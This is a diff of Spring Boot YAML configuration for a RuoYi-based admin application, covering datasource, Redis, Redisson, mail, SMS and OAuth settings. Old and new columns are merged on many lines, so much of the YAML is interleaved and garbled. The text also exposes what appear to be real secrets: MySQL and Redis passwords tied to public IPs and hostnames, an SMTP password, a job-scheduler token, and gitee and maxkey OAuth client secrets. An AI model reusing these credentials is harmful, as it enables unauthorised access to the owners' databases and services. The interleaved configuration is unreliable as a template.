# url: jdbc:postgresql://localhost:5432/postgres?useUnicode=true&characterEncoding=utf8&useSSL=true&autoReconnect=true&reWriteBatchedInserts=true # 多久检查一次连接的活性
# username: root keepaliveTime: 30000
# password: root
# sqlserver: --- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉)
# type: ${spring.datasource.type} spring.data:
# driverClassName: com.microsoft.sqlserver.jdbc.SQLServerDriver redis:
# url: jdbc:sqlserver://localhost:1433;DatabaseName=tempdb;SelectMethod=cursor;encrypt=false;rewriteBatchedStatements=true # 地址
# username: SA host: 220.205.16.51
# password: root # 端口默认为6379
hikari: port: 26739
# 最大连接池数量 # 数据库索引
maxPoolSize: 20 database: 1
# 最小空闲线程数量 # redis 密码必须配置
minIdle: 10 password: yahsj5EpPJzpG4cY
# 配置获取连接等待超时时间 # 连接超时时间
connectionTimeout: 30000 timeout: 10s
# 校验超时时间 # 是否开启ssl
validationTimeout: 5000 ssl.enabled: false
# 空闲连接存活最大时间默认10分钟
idleTimeout: 600000 # redisson 配置
# 此属性控制池中连接的最长生命周期值0表示无限生命周期默认30分钟 redisson:
maxLifetime: 1800000 # redis key前缀
# 多久检查一次连接的活性 keyPrefix:
keepaliveTime: 30000 # 线程池数量
threads: 4
--- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉) # Netty线程池数量
spring.data: nettyThreads: 8
redis: # 单节点配置
# 地址 singleServerConfig:
host: localhost # 服务器地址
# 端口默认为6379 address: redis://220.205.16.51:26739
port: 6379 # 密码
# 数据库索引 password: yahsj5EpPJzpG4cY
database: 1 # 数据库
# redis 密码必须配置 database: 1
password: Huitu123 # 客户端名称
# 连接超时时间 clientName: XGT-ADMIN
timeout: 10s # 最小空闲连接数
# 是否开启ssl connectionMinimumIdleSize: 8
ssl.enabled: false # 连接池大小
connectionPoolSize: 32
# redisson 配置 # 连接空闲超时,单位:毫秒
redisson: idleConnectionTimeout: 10000
# redis key前缀 # 命令等待超时,单位:毫秒
keyPrefix: timeout: 3000
# 线程池数量 # 发布和订阅连接池大小
threads: 4 subscriptionConnectionPoolSize: 50
# Netty线程池数量
nettyThreads: 8 --- # mail 邮件发送
# 单节点配置 mail:
singleServerConfig: enabled: false
# 客户端名称 host: smtp.163.com
clientName: ${ruoyi.name} port: 25
# 最小空闲连接数 # 是否需要用户名密码验证
connectionMinimumIdleSize: 8 auth: true
# 连接池大小 # 发送方遵循RFC-822标准
connectionPoolSize: 32 from: admin@163.com
# 连接空闲超时,单位:毫秒 # 用户名注意如果使用foxmail邮箱此处user为qq号
idleConnectionTimeout: 10000 user: admin@163.com
# 命令等待超时,单位:毫秒 # 密码注意某些邮箱需要为SMTP服务单独设置密码详情查看相关帮助
timeout: 3000 pass: LGj5ingctYT2SNJS
# 发布和订阅连接池大小 # 使用 STARTTLS安全连接STARTTLS是对纯文本通信协议的扩展。
subscriptionConnectionPoolSize: 50 starttlsEnable: false
# 使用SSL安全连接
--- # mail 邮件发送 sslEnable: false
mail: # SMTP超时时长单位毫秒缺省值不超时
enabled: false timeout: 0
host: smtp.163.com # Socket连接超时值单位毫秒缺省值不超时
port: 25 connectionTimeout: 0
# 是否需要用户名密码验证
auth: true --- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商
# 发送方遵循RFC-822标准 # https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用
from: admin@163.com sms:
# 用户名注意如果使用foxmail邮箱此处user为qq号 # 配置源类型用于标定配置来源(interface,yaml)
user: admin@163.com config-type: yaml
# 密码注意某些邮箱需要为SMTP服务单独设置密码详情查看相关帮助 # 用于标定yml中的配置是否开启短信拦截接口配置不受此限制
pass: LGj5ingctYT2SNJS restricted: true
# 使用 STARTTLS安全连接STARTTLS是对纯文本通信协议的扩展。 # 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效
starttlsEnable: false minute-max: 1
# 使用SSL安全连接 # 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效
sslEnable: false account-max: 30
# SMTP超时时长单位毫秒缺省值不超时 # 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中
timeout: 0 blends:
# Socket连接超时值单位毫秒缺省值不超时 # 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可
connectionTimeout: 0 # 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户
config1:
--- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商 # 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
# https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用 supplier: alibaba
sms: # 有些称为accessKey有些称之为apiKey也有称为sdkKey或者appId。
# 配置源类型用于标定配置来源(interface,yaml) access-key-id: 您的accessKey
config-type: yaml # 称为accessSecret有些称之为apiSecret
# 用于标定yml中的配置是否开启短信拦截接口配置不受此限制 access-key-secret: 您的accessKeySecret
restricted: true signature: 您的短信签名
# 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效 sdk-app-id: 您的sdkAppId
minute-max: 1 config2:
# 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效 # 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
account-max: 30 supplier: tencent
# 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中 access-key-id: 您的accessKey
blends: access-key-secret: 您的accessKeySecret
# 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可 signature: 您的短信签名
# 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户 sdk-app-id: 您的sdkAppId
config1:
# 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
supplier: alibaba --- # 三方授权
# 有些称为accessKey有些称之为apiKey也有称为sdkKey或者appId。 justauth:
access-key-id: 您的accessKey # 前端外网访问地址
# 称为accessSecret有些称之为apiSecret address: http://localhost:80
access-key-secret: 您的accessKeySecret type:
signature: 您的短信签名 maxkey:
sdk-app-id: 您的sdkAppId # maxkey 服务器地址
config2: # 注意 如下均配置均不需要修改 maxkey 已经内置好了数据
# 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 server-url: http://sso.maxkey.top
supplier: tencent client-id: 876892492581044224
access-key-id: 您的accessKey client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8
access-key-secret: 您的accessKeySecret redirect-uri: ${justauth.address}/social-callback?source=maxkey
signature: 您的短信签名 topiam:
sdk-app-id: 您的sdkAppId # topiam 服务器地址
server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol
client-id: 449c4*********937************759
--- # 三方授权 client-secret: ac7***********1e0************28d
justauth: redirect-uri: ${justauth.address}/social-callback?source=topiam
# 前端外网访问地址 scopes: [openid, email, phone, profile]
address: http://localhost:80 qq:
type: client-id: 10**********6
maxkey: client-secret: 1f7d08**********5b7**********29e
# maxkey 服务器地址 redirect-uri: ${justauth.address}/social-callback?source=qq
# 注意 如下均配置均不需要修改 maxkey 已经内置好了数据 union-id: false
server-url: http://sso.maxkey.top weibo:
client-id: 876892492581044224 client-id: 10**********6
client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8 client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=maxkey redirect-uri: ${justauth.address}/social-callback?source=weibo
topiam: gitee:
# topiam 服务器地址 client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98
server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac
client-id: 449c4*********937************759 redirect-uri: ${justauth.address}/social-callback?source=gitee
client-secret: ac7***********1e0************28d dingtalk:
redirect-uri: ${justauth.address}/social-callback?source=topiam client-id: 10**********6
scopes: [openid, email, phone, profile] client-secret: 1f7d08**********5b7**********29e
qq: redirect-uri: ${justauth.address}/social-callback?source=dingtalk
client-id: 10**********6 baidu:
client-secret: 1f7d08**********5b7**********29e client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=qq client-secret: 1f7d08**********5b7**********29e
union-id: false redirect-uri: ${justauth.address}/social-callback?source=baidu
weibo: csdn:
client-id: 10**********6 client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=weibo redirect-uri: ${justauth.address}/social-callback?source=csdn
gitee: coding:
client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98 client-id: 10**********6
client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=gitee redirect-uri: ${justauth.address}/social-callback?source=coding
dingtalk: coding-group-name: xx
client-id: 10**********6 oschina:
client-secret: 1f7d08**********5b7**********29e client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=dingtalk client-secret: 1f7d08**********5b7**********29e
baidu: redirect-uri: ${justauth.address}/social-callback?source=oschina
client-id: 10**********6 alipay_wallet:
client-secret: 1f7d08**********5b7**********29e client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=baidu client-secret: 1f7d08**********5b7**********29e
csdn: redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet
client-id: 10**********6 alipay-public-key: MIIB**************DAQAB
client-secret: 1f7d08**********5b7**********29e wechat_open:
redirect-uri: ${justauth.address}/social-callback?source=csdn client-id: 10**********6
coding: client-secret: 1f7d08**********5b7**********29e
client-id: 10**********6 redirect-uri: ${justauth.address}/social-callback?source=wechat_open
client-secret: 1f7d08**********5b7**********29e wechat_mp:
redirect-uri: ${justauth.address}/social-callback?source=coding client-id: 10**********6
coding-group-name: xx client-secret: 1f7d08**********5b7**********29e
oschina: redirect-uri: ${justauth.address}/social-callback?source=wechat_mp
client-id: 10**********6 wechat_enterprise:
client-secret: 1f7d08**********5b7**********29e client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=oschina client-secret: 1f7d08**********5b7**********29e
alipay_wallet: redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise
client-id: 10**********6 agent-id: 1000002
client-secret: 1f7d08**********5b7**********29e gitlab:
redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet client-id: 10**********6
alipay-public-key: MIIB**************DAQAB client-secret: 1f7d08**********5b7**********29e
wechat_open: redirect-uri: ${justauth.address}/social-callback?source=gitlab
client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_open
wechat_mp:
client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_mp
wechat_enterprise:
client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise
agent-id: 1000002
gitlab:
client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=gitlab

View File

@@ -1,271 +1,256 @@
--- # 临时文件存储位置 避免临时文件被系统清理报错 --- # 临时文件存储位置 避免临时文件被系统清理报错
spring.servlet.multipart.location: /ruoyi/server/temp spring.servlet.multipart.location: /ruoyi/server/temp
--- # 监控中心配置 --- # 监控中心配置
spring.boot.admin.client: spring.boot.admin.client:
# 增加客户端开关 # 增加客户端开关
enabled: true enabled: true
url: http://erp.52o.site:9090 url: http://erp.52o.site:9090
instance: instance:
service-host-type: IP service-host-type: IP
metadata: metadata:
username: ${spring.boot.admin.client.username} username: ${spring.boot.admin.client.username}
userpassword: ${spring.boot.admin.client.password} userpassword: ${spring.boot.admin.client.password}
username: @monitor.username@ username: admin
password: @monitor.password@ password: admin
--- # snail-job 配置 --- # snail-job 配置
snail-job: snail-job:
enabled: true enabled: false
# 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务 # 需要在 SnailJob 后台组管理创建对应名称的组,然后创建任务的时候选择对应的组,才能正确分派任务
group: "ruoyi_group" group: "ruoyi_group"
# SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表 # SnailJob 接入验证令牌 详见 script/sql/snail_job.sql `sj_group_config` 表
token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT" token: "SJ_cKqBTPzCsWA3VyuCfFoccmuIEGXjr5KT"
server: server:
host: 127.0.0.1 host: 127.0.0.1
port: 17888 port: 17888
# 详见 script/sql/snail_job.sql `sj_namespace` 表 # 详见 script/sql/snail_job.sql `sj_namespace` 表
namespace: ${spring.profiles.active} namespace: ${spring.profiles.active}
# 随主应用端口飘逸 # 随主应用端口飘逸
port: 2${server.port} port: 2${server.port}
# 客户端ip指定 # 客户端ip指定
host: 127.0.0.1 host: 127.0.0.1
--- # 数据源配置 --- # 数据源配置
spring: spring:
datasource: datasource:
type: com.zaxxer.hikari.HikariDataSource type: com.zaxxer.hikari.HikariDataSource
# 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content # 动态数据源文档 https://www.kancloud.cn/tracy5546/dynamic-datasource/content
dynamic: dynamic:
# 性能分析插件(有性能损耗 不建议生产环境使用) # 性能分析插件(有性能损耗 不建议生产环境使用)
p6spy: false p6spy: false
# 设置默认的数据源或者数据源组,默认值即为 master # 设置默认的数据源或者数据源组,默认值即为 master
primary: master primary: master
# 严格模式 匹配不到数据源则报错 # 严格模式 匹配不到数据源则报错
strict: true strict: true
datasource: datasource:
# 主库数据源 # 主库数据源
master: master:
type: ${spring.datasource.type} type: ${spring.datasource.type}
driverClassName: com.mysql.cj.jdbc.Driver driverClassName: com.mysql.cj.jdbc.Driver
# jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562 # jdbc 所有参数配置参考 https://lionli.blog.csdn.net/article/details/122018562
# rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题) # rewriteBatchedStatements=true 批处理优化 大幅提升批量插入更新删除性能(对数据库有性能损耗 使用批量操作应考虑性能问题)
url: jdbc:mysql://erp9.52o.site:13308/erp20241208?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true url: jdbc:mysql://220.205.16.51:23306/oademo?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&serverTimezone=GMT%2B8&autoReconnect=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
username: erp20241208 username: oademo
password: a2aLeLYbzfZY4MZH password: djj7z3dY6YkSEzeS
# url: jdbc:mysql://erp9.52o.site:13308/sjzxerp-test?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
# username: sjzxerp-test # url: jdbc:mysql://localhost:13306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
# password: EYpxAtdHmzHrTNGL # username: root
# 从库数据源 # password: root
slave:
lazy: false # 从库数据源
type: ${spring.datasource.type} slave:
driverClassName: com.mysql.cj.jdbc.Driver lazy: false
url: jdbc:mysql://124.223.56.113:13306/erp2024?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true type: ${spring.datasource.type}
username: erp2024 driverClassName: com.mysql.cj.jdbc.Driver
password: KYrWzcXSaNDAC4pw url: jdbc:mysql://220.205.16.51:23306/oademo?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&serverTimezone=GMT%2B8&autoReconnect=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
# url: jdbc:mysql://localhost:3306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true username: oademo
# username: root password: djj7z3dY6YkSEzeS
# password: root
# oracle: # url: jdbc:mysql://localhost:3306/new_xgt?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8&autoReconnect=true&rewriteBatchedStatements=true&allowPublicKeyRetrieval=true&nullCatalogMeansCurrent=true
# type: ${spring.datasource.type} # username: root
# driverClassName: oracle.jdbc.OracleDriver # password: root
# url: jdbc:oracle:thin:@//localhost:1521/XE hikari:
# username: ROOT # 最大连接池数量
# password: root maxPoolSize: 20
# postgres: # 最小空闲线程数量
# type: ${spring.datasource.type} minIdle: 10
# driverClassName: org.postgresql.Driver # 配置获取连接等待超时的时间
# url: jdbc:postgresql://localhost:5432/postgres?useUnicode=true&characterEncoding=utf8&useSSL=true&autoReconnect=true&reWriteBatchedInserts=true connectionTimeout: 30000
# username: root # 校验超时时间
# password: root validationTimeout: 5000
# sqlserver: # 空闲连接存活最大时间默认10分钟
# type: ${spring.datasource.type} idleTimeout: 600000
# driverClassName: com.microsoft.sqlserver.jdbc.SQLServerDriver # 此属性控制池中连接的最长生命周期值0表示无限生命周期默认30分钟
# url: jdbc:sqlserver://localhost:1433;DatabaseName=tempdb;SelectMethod=cursor;encrypt=false;rewriteBatchedStatements=true maxLifetime: 1800000
# username: SA # 多久检查一次连接的活性
# password: root keepaliveTime: 30000
hikari:
# 最大连接池数量 --- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉)
maxPoolSize: 20 spring.data:
# 最小空闲线程数量 redis:
minIdle: 10 # 地址
# 配置获取连接等待超时的时间 host: jcs-mysql.52o.site
connectionTimeout: 30000 # 端口默认为6379
# 校验超时时间 port: 26739
validationTimeout: 5000 # 数据库索引
# 空闲连接存活最大时间默认10分钟 database: 1
idleTimeout: 600000 # redis 密码必须配置
# 此属性控制池中连接的最长生命周期值0表示无限生命周期默认30分钟 password: 3NpZYtRLr6EnfASr
maxLifetime: 1800000 # 连接超时时间
# 多久检查一次连接的活性 timeout: 10s
keepaliveTime: 30000 # 是否开启ssl
ssl.enabled: false
--- # redis 单机配置(单机与集群只能开启一个另一个需要注释掉)
spring.data: # redisson 配置
redis: redisson:
# 地址 # redis key前缀
host: localhost keyPrefix:
# 端口默认为6379 # 线程池数量
port: 6379 threads: 16
# 数据库索引 # Netty线程池数量
database: 0 nettyThreads: 32
# redis 密码必须配置 # 单节点配置
password: Huitu123 singleServerConfig:
# 连接超时时间 # 客户端名称
timeout: 10s clientName: ${ruoyi.name}
# 是否开启ssl # 最小空闲连接数
ssl.enabled: false connectionMinimumIdleSize: 32
# 连接池大小
# redisson 配置 connectionPoolSize: 64
redisson: # 连接空闲超时,单位:毫秒
# redis key前缀 idleConnectionTimeout: 10000
keyPrefix: # 命令等待超时,单位:毫秒
# 线程池数量 timeout: 3000
threads: 16 # 发布和订阅连接池大小
# Netty线程池数量 subscriptionConnectionPoolSize: 50
nettyThreads: 32
# 单节点配置 --- # mail 邮件发送
singleServerConfig: mail:
# 客户端名称 enabled: false
clientName: ${ruoyi.name} host: smtp.163.com
# 最小空闲连接数 port: 25
connectionMinimumIdleSize: 32 # 是否需要用户名密码验证
# 连接池大小 auth: true
connectionPoolSize: 64 # 发送方遵循RFC-822标准
# 连接空闲超时,单位:毫秒 from: admin@163.com
idleConnectionTimeout: 10000 # 用户名注意如果使用foxmail邮箱此处user为qq号
# 命令等待超时,单位:毫秒 user: admin@163.com
timeout: 3000 # 密码注意某些邮箱需要为SMTP服务单独设置密码详情查看相关帮助
# 发布和订阅连接池大小 pass: LGj5ingctYT2SNJS
subscriptionConnectionPoolSize: 50 # 使用 STARTTLS安全连接STARTTLS是对纯文本通信协议的扩展。
starttlsEnable: false
--- # mail 邮件发送 # 使用SSL安全连接
mail: sslEnable: false
enabled: false # SMTP超时时长单位毫秒缺省值不超时
host: smtp.163.com timeout: 0
port: 25 # Socket连接超时值单位毫秒缺省值不超时
# 是否需要用户名密码验证 connectionTimeout: 0
auth: true
# 发送方遵循RFC-822标准 --- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商
from: admin@163.com # https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用
# 用户名注意如果使用foxmail邮箱此处user为qq号 sms:
user: admin@163.com # 配置源类型用于标定配置来源(interface,yaml)
# 密码注意某些邮箱需要为SMTP服务单独设置密码详情查看相关帮助 config-type: yaml
pass: LGj5ingctYT2SNJS # 用于标定yml中的配置是否开启短信拦截接口配置不受此限制
# 使用 STARTTLS安全连接STARTTLS是对纯文本通信协议的扩展。 restricted: true
starttlsEnable: false # 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效
# 使用SSL安全连接 minute-max: 1
sslEnable: false # 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效
# SMTP超时时长单位毫秒缺省值不超时 account-max: 30
timeout: 0 # 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中
# Socket连接超时值单位毫秒缺省值不超时 blends:
connectionTimeout: 0 # 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可
# 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户
--- # sms 短信 支持 阿里云 腾讯云 云片 等等各式各样的短信服务商 config1:
# https://sms4j.com/doc3/ 差异配置文档地址 支持单厂商多配置,可以配置多个同时使用 # 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
sms: supplier: alibaba
# 配置源类型用于标定配置来源(interface,yaml) # 有些称为accessKey有些称之为apiKey也有称为sdkKey或者appId。
config-type: yaml access-key-id: 您的accessKey
# 用于标定yml中的配置是否开启短信拦截接口配置不受此限制 # 称为accessSecret有些称之为apiSecret
restricted: true access-key-secret: 您的accessKeySecret
# 短信拦截限制单手机号每分钟最大发送,只对开启了拦截的配置有效 signature: 您的短信签名
minute-max: 1 sdk-app-id: 您的sdkAppId
# 短信拦截限制单手机号每日最大发送量,只对开启了拦截的配置有效 config2:
account-max: 30 # 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
# 以下配置来自于 org.dromara.sms4j.provider.config.BaseConfig类中 supplier: tencent
blends: access-key-id: 您的accessKey
# 唯一ID 用于发送短信寻找具体配置 随便定义别用中文即可 access-key-secret: 您的accessKeySecret
# 可以同时存在两个相同厂商 例如: ali1 ali2 两个不同的阿里短信账号 也可用于区分租户 signature: 您的短信签名
config1: sdk-app-id: 您的sdkAppId
# 框架定义的厂商名称标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分
supplier: alibaba --- # 三方授权
# 有些称为accessKey有些称之为apiKey也有称为sdkKey或者appId。 justauth:
access-key-id: 您的accessKey # 前端外网访问地址
# 称为accessSecret有些称之为apiSecret address: http://localhost:80
access-key-secret: 您的accessKeySecret type:
signature: 您的短信签名 maxkey:
sdk-app-id: 您的sdkAppId # maxkey 服务器地址
config2: # 注意 如下均配置均不需要修改 maxkey 已经内置好了数据
# 厂商标识,标定此配置是哪个厂商,详细请看厂商标识介绍部分 server-url: http://sso.maxkey.top
supplier: tencent client-id: 876892492581044224
access-key-id: 您的accessKey client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8
access-key-secret: 您的accessKeySecret redirect-uri: ${justauth.address}/social-callback?source=maxkey
signature: 您的短信签名 topiam:
sdk-app-id: 您的sdkAppId # topiam 服务器地址
server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol
--- # 三方授权 client-id: 449c4*********937************759
justauth: client-secret: ac7***********1e0************28d
# 前端外网访问地址 redirect-uri: ${justauth.address}/social-callback?source=topiam
address: http://localhost:80 scopes: [ openid, email, phone, profile ]
type: qq:
maxkey: client-id: 10**********6
# maxkey 服务器地址 client-secret: 1f7d08**********5b7**********29e
# 注意 如下均配置均不需要修改 maxkey 已经内置好了数据 redirect-uri: ${justauth.address}/social-callback?source=qq
server-url: http://sso.maxkey.top union-id: false
client-id: 876892492581044224 weibo:
client-secret: x1Y5MTMwNzIwMjMxNTM4NDc3Mzche8 client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=maxkey client-secret: 1f7d08**********5b7**********29e
topiam: redirect-uri: ${justauth.address}/social-callback?source=weibo
# topiam 服务器地址 gitee:
server-url: http://127.0.0.1:1989/api/v1/authorize/y0q************spq***********8ol client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98
client-id: 449c4*********937************759 client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac
client-secret: ac7***********1e0************28d redirect-uri: ${justauth.address}/social-callback?source=gitee
redirect-uri: ${justauth.address}/social-callback?source=topiam dingtalk:
scopes: [ openid, email, phone, profile ] client-id: 10**********6
qq: client-secret: 1f7d08**********5b7**********29e
client-id: 10**********6 redirect-uri: ${justauth.address}/social-callback?source=dingtalk
client-secret: 1f7d08**********5b7**********29e baidu:
redirect-uri: ${justauth.address}/social-callback?source=qq client-id: 10**********6
union-id: false client-secret: 1f7d08**********5b7**********29e
weibo: redirect-uri: ${justauth.address}/social-callback?source=baidu
client-id: 10**********6 csdn:
client-secret: 1f7d08**********5b7**********29e client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=weibo client-secret: 1f7d08**********5b7**********29e
gitee: redirect-uri: ${justauth.address}/social-callback?source=csdn
client-id: 91436b7940090d09c72c7daf85b959cfd5f215d67eea73acbf61b6b590751a98 coding:
client-secret: 02c6fcfd70342980cd8dd2f2c06c1a350645d76c754d7a264c4e125f9ba915ac client-id: 10**********6
redirect-uri: ${justauth.address}/social-callback?source=gitee client-secret: 1f7d08**********5b7**********29e
dingtalk: redirect-uri: ${justauth.address}/social-callback?source=coding
client-id: 10**********6 coding-group-name: xx
client-secret: 1f7d08**********5b7**********29e oschina:
redirect-uri: ${justauth.address}/social-callback?source=dingtalk client-id: 10**********6
baidu: client-secret: 1f7d08**********5b7**********29e
client-id: 10**********6 redirect-uri: ${justauth.address}/social-callback?source=oschina
client-secret: 1f7d08**********5b7**********29e alipay_wallet:
redirect-uri: ${justauth.address}/social-callback?source=baidu client-id: 10**********6
csdn: client-secret: 1f7d08**********5b7**********29e
client-id: 10**********6 redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet
client-secret: 1f7d08**********5b7**********29e alipay-public-key: MIIB**************DAQAB
redirect-uri: ${justauth.address}/social-callback?source=csdn wechat_open:
coding: client-id: 10**********6
client-id: 10**********6 client-secret: 1f7d08**********5b7**********29e
client-secret: 1f7d08**********5b7**********29e redirect-uri: ${justauth.address}/social-callback?source=wechat_open
redirect-uri: ${justauth.address}/social-callback?source=coding wechat_mp:
coding-group-name: xx client-id: 10**********6
oschina: client-secret: 1f7d08**********5b7**********29e
client-id: 10**********6 redirect-uri: ${justauth.address}/social-callback?source=wechat_mp
client-secret: 1f7d08**********5b7**********29e wechat_enterprise:
redirect-uri: ${justauth.address}/social-callback?source=oschina client-id: 10**********6
alipay_wallet: client-secret: 1f7d08**********5b7**********29e
client-id: 10**********6 redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise
client-secret: 1f7d08**********5b7**********29e agent-id: 1000002
redirect-uri: ${justauth.address}/social-callback?source=alipay_wallet gitlab:
alipay-public-key: MIIB**************DAQAB client-id: 10**********6
wechat_open: client-secret: 1f7d08**********5b7**********29e
client-id: 10**********6 redirect-uri: ${justauth.address}/social-callback?source=gitlab
client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_open
wechat_mp:
client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_mp
wechat_enterprise:
client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=wechat_enterprise
agent-id: 1000002
gitlab:
client-id: 10**********6
client-secret: 1f7d08**********5b7**********29e
redirect-uri: ${justauth.address}/social-callback?source=gitlab

View File

@@ -1,301 +1,303 @@
# 项目相关配置 # 项目相关配置
ruoyi: ruoyi:
# 名称 # 名称
name: XGT-ADMIN name: XGT-ADMIN
# 版本 # 版本
version: ${revision} version: 5.2.3
# 版权年份 # 版权年份
copyrightYear: 2024 copyrightYear: 2024
captcha: captcha:
enable: true enable: true
# 页面 <参数设置> 可开启关闭 验证码校验 # 页面 <参数设置> 可开启关闭 验证码校验
# 验证码类型 math 数组计算 char 字符验证 # 验证码类型 math 数组计算 char 字符验证
type: MATH type: MATH
# line 线段干扰 circle 圆圈干扰 shear 扭曲干扰 # line 线段干扰 circle 圆圈干扰 shear 扭曲干扰
category: CIRCLE category: CIRCLE
# 数字验证码位数 # 数字验证码位数
numberLength: 1 numberLength: 1
# 字符验证码长度 # 字符验证码长度
charLength: 4 charLength: 4
# 开发环境配置 # 开发环境配置
server: server:
# 服务器的HTTP端口默认为8080 # 服务器的HTTP端口默认为8080
port: 8088 port: 8088
servlet: servlet:
# 应用的访问路径 # 应用的访问路径
context-path: / context-path: /
# undertow 配置 # undertow 配置
undertow: undertow:
